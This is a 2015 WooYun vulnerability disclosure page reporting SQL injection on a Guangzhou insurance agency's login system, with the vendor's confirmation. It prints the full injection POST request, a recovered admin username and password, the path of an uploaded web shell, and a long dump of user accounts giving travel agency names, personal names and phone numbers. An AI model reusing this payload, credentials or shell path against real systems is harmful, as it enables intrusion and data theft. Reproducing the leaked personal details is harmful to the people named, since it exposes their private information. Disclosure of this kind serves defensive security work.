当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0131849

漏洞标题:广州亚浦保险系统SQL注射漏洞(泄露5家合作大型保险公司上万保单+多家旅行社充值业务)

相关厂商:广州亚浦保险

漏洞作者: 路人甲

提交时间:2015-08-05 15:34

修复时间:2015-09-20 11:08

公开时间:2015-09-20 11:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:17

漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-05: 细节已通知厂商并且等待厂商处理中
2015-08-06: 厂商已经确认,细节仅向厂商公开
2015-08-16: 细节向核心白帽子及相关领域专家公开
2015-08-26: 细节向普通白帽子公开
2015-09-05: 细节向实习白帽子公开
2015-09-20: 细节向公众公开

简要描述:

广州亚浦保险系统SQL注射漏洞(泄露5家合作大型保险公司上万保单+多家旅行社充值业务)

详细说明:

www.insissue.com 登录存在post注入,通过注入得到默认账户,上传得到SHELL。sa提权

漏洞证明:

POST / HTTP/1.1
Host: www.insissue.com
Content-Length: 297
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.insissue.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://www.insissue.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUJMTc5Nzg4NjM2ZGQl0aoV3hvEN1wreft8odJrH3S9PA%3D%3D&__VIEWSTATEGENERATOR=90059987&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=%2FwEWBALZmMvCBwKvruq2CAKyxeCRDwKPyPGACocEYGHXPKFt0tPDfTSet4hIg8CA&UserName=a%27+and+user%3E0--&PassWord=aaa&login=%E7%99%BB%E5%BD%95


POST包

admin apool2013

http://www.insissue.com/js/2014.aspx shell地址

搜狗截图15年08月05日1500_6.png

5家合作保险公司

搜狗截图15年08月05日1456_2.png

搜狗截图15年08月05日1457_3.png

搜狗截图15年08月05日1458_4.png

搜狗截图15年08月05日1459_5.png

搜狗截图15年08月05日1500_7.png

搜狗截图15年08月05日1501_8.png

搜狗截图15年08月05日1456_1.png

用户名	所属公司	电话号码	真实姓名	下级用户	 Select
k1 测试旅行社 13888888888 k3
apool 亚浦保险 87375399 亚浦保险
fengguang 广东风光国际旅行社有限公司 83300677 风光
TONY TONY 13719002677 tony lee
DFGL1 东方国旅国际商务部 86699032 东方国旅国际商务部 DFGL2
DFGL2 东方国旅国际商务部 86699032 东方国旅国际商务部
XMZYX 广东熊猫国际旅游有限公司(自由行部) 83185855 vivi
FSGLSS 佛山国旅山水营业部 佛山国旅山水营业部
QWCG 广东侨外出国人员服务中心有限公司 0757-22381348 欧志成
邓绮媚 SISI 81043325
ESTRAVEL 广州市创游国际旅行社有限责任公司 广州市创游国际旅行社有限责任公司
test 测试旅行社
SINTU 广州新途旅行社有限公司 广州新途旅行社有限公司
WGY 东方签证网 13632298008 东方签证网
LHCZB 领航国旅操作部 61206989-52 领航国旅操作部
LHQZB 领航国旅签证部 61206989-31 领航国旅签证部
OMSL 广东和平国旅欧美商旅部 61223846 广东和平国旅欧美商旅部
XMPW 广东熊猫国际旅游有限公司票务部 83236265 广东熊猫国际旅游有限公司票务部
HY 广州市汇粤国际旅行社有限公司 83197103 广州市汇粤国际旅行社有限公司
QSGL 广州市千适国际旅行社有限公司 66315333 广州市千适国际旅行社有限公司
ZXGL 广东中信国际旅行社有限公司 81719815 广东中信国际旅行社有限公司
XMYWB 广东熊猫国际旅游有限公司业务部 83548108 广东熊猫国际旅游有限公司业务部
XIMIN 广州西敏国际旅行社有限公司总号 38114000 广州西敏国际旅行社有限公司 XIMINCJB
XIMINRJB
XIMINSWB
XIMINPWB
XIMINCJB 广州西敏国际旅行社有限公司出境部 广州西敏国际旅行社有限公司出境部
XIMINRJB 广州西敏国际旅行社有限公司入境部 广州西敏国际旅行社有限公司入境部
XIMINSWB 广州西敏国际旅行社有限公司商务部 广州西敏国际旅行社有限公司商务部
XIMINPWB 广州西敏国际旅行社有限公司票务部 广州西敏国际旅行社有限公司票务部
DTA 美国钻石商旅集团 美国钻石商旅集团
FEIXIN 广州市飞顺商务服务有限公司 飞信假期
DFGJSW 广州东方国际旅行社有限公司旅游中心 86018829 东方国旅国际商务旅游中心
FSGLGC 佛山国旅国际旅行社有限公司桂城门市部 13500250909 佛山国旅桂城门市部
DFGJCJ 广州东方国际旅行社有限公司出境游中心 86018783 东方国旅出境游中心
ZXSDY 广东中信国际旅行社有限公司深度游 87302210 中信国旅深度游
GRK 郭仁凯 13503034715 郭仁凯
SEDA01 深圳市发展经济研究会 深圳市发展经济研究会
SEDA02 深圳市发展经济研究会 深圳市发展经济研究会
SEDA03 深圳市发展经济研究会 深圳市发展经济研究会
SEDA04 深圳市发展经济研究会 深圳市发展经济研究会
SZZQ 深圳市中侨国际旅行社有限公司 13428677521 深圳市中侨国际旅行社有限公司
GDQL_ZQ 广东省中国青年旅行社中侨大厦门市部 13808890467 广东省中国青年旅行社中侨大厦门市部
13802500289 王旋 13802500289 13802500289 MAY
ZHANG LIHONG
WXY00957
1211868889
FQZ12226
SDA61365
CDQ87228
WHP70450
chuchu688
WYH05215
LJY98741
林雪菊01 林雪菊01 林雪菊 林雪菊02
林雪菊03
汤丽
林雪菊02 林雪菊02 林雪菊02
林雪菊03 林雪菊03 林雪菊03
MAY 庾冬梅 庾冬梅
测试 测试账户 测试 测试业务
刘亚利 刘亚利 刘亚利
中旅签证 中旅签证 中旅签证 中旅签证天河
中旅签证订房
中旅签证移民
中旅签证华夏
中旅签证天河 中旅签证 中旅签证天河
中旅签证订房 中旅签证 中旅签证订房
中旅签证移民 中旅签证 中旅签证移民
中旅签证华夏 中旅签证 中旅签证华夏
测试业务 测试账户 测试业务
陈刚 陈刚 陈刚
唯意国际 唯意(深圳)国际旅行社有限公司 755-2382-2938 唯意国际
佛山国旅 佛山国旅 佛山国旅 佛山国旅佛宾部
ZHANG LIHONG ZHANG LIHONG ZHANG LIHONG
WXY00957 伍雪英 WXY00957
WANG QIANJING 王倩静 王倩静
123 123 123
LI TINGFENG LI TINGFENG LI TINGFENG
UNI Uni 13822110660 邓颖寰
丽晶之旅 丽晶之旅 丽晶之旅
凤怡 凤怡假期 凤怡假期
1211868889 梁婉琼 梁婉琼
FQZ12226 樊庆珍 FQZ12226
YTTX1 深圳市优途天下商务服务有限公司 深圳市优途天下商务服务有限公司
YTTX2 深圳市优途天下商务服务有限公司 深圳市优途天下商务服务有限公司
SDA61365 邵定安 SDA61365
蓝天助学 蓝天助学 28949864 蓝天助学
KANG HUI 康辉 康辉
珠海海外 珠海海外 珠海海外
环天电子 环天电子 环天电子
CDQ87228 楚德庆 CDQ87228
汤丽 汤丽 汤丽
SMILE SMILE SMILE
TIM TIM TIM
DONALD 黄楚栩 DONALD
WHP70450 吴慧屏 WHP70450
chuchu688 chuchu688 chuchu688
CITSHD 熊猫旅行社花都分公司 CITSHD
WYH05215 伍韵华 13682205215 WYH05215
TCDJ9999 广州天长地久旅游有限公司 TCDJ9999
珠海拱北口岸 珠海拱北口岸 珠海拱北口岸 珠海拱北口岸票务1
珠海拱北口岸票务2
珠海拱北口岸票务1 珠海拱北口岸 珠海拱北口岸票务1
珠海拱北口岸票务2 珠海拱北口岸 珠海拱北口岸票务2
雷勇如 雷勇如 雷勇如
朱瀚祺 朱瀚祺 朱瀚祺
兆仁本业 广州兆仁本业教育科技有限公司 兆仁本业
FS广东中旅财务部 广东中旅 FS广东中旅财务部 FS广东中旅四海商旅
FS广东中旅四海商旅 广东中旅 FS广东中旅四海商旅 FS广东中旅出境部
FS广东中旅后勤部
FS广东中旅罗村部
FS广东中旅金沙部
FS广东中旅张槎部
FS广东中旅丹灶部
FS广东中旅建新部
FS广东中旅出境部 广东中旅 FS广东中旅出境部
FS广东中旅后勤部 广东中旅 FS广东中旅后勤部
FS广东中旅罗村部 广东中旅 FS广东中旅罗村部
FS广东中旅金沙部 广东中旅 FS广东中旅金沙部
FS广东中旅张槎部 广东中旅 FS广东中旅张槎部
FS广东中旅丹灶部 广东中旅 FS广东中旅丹灶部
FS广东中旅建新部 广东中旅 FS广东中旅建新部
百利沙 百利沙 百利沙 百利沙签证
百利沙地接
百利沙机票
百利沙销售
佛山国旅佛宾部 佛山国旅 佛山国旅佛宾部
人保测试 人保测试 人保测试
apool123 apool123 apool123
查询 亚浦保险 查询
TONGYOU 广州童游信息科技有限公司 广州童游信息科技有限公司
LJY98741 LJY98741 LJY98741
ZHANGHUIBING 张惠冰 张惠冰
YHIT99 广东熊猫国旅华明分公司 广东熊猫国旅华明分公司
CITSHL 广东熊猫国旅华乐分公司 广东熊猫国旅华乐分公司
百利沙签证 百利沙 百利沙签证
百利沙地接 百利沙 百利沙地接
百利沙机票 百利沙 百利沙机票
百利沙销售 百利沙 百利沙销售
范莉梅 范莉梅 范莉梅
华之通 华之通 华之通
YCZL 羊城之旅连新分社 羊城之旅连新分社 YCZL01
YCZL02
YCZL03
YCZL04
YCZL05
YCZL01 羊城之旅连新分社01 羊城之旅连新分社01
YCZL02 羊城之旅连新分社02 羊城之旅连新分社02
YCZL03 羊城之旅连新分社03 羊城之旅连新分社03
YCZL04 羊城之旅连新分社04 羊城之旅连新分社04
YCZL05 羊城之旅连新分社05 羊城之旅连新分社05
YCZL06 羊城之旅连新分社06 羊城之旅连新分社06
佛山国旅商旅 佛山国旅 佛山国旅商旅
佛山国旅票务 佛山国旅 佛山国旅票务
安程旅游 安程旅游 安程旅游

设计多家合作旅行社

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-08-06 11:06

厂商回复:

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:13
正在联系相关网站管理单位处置。

最新状态:

暂无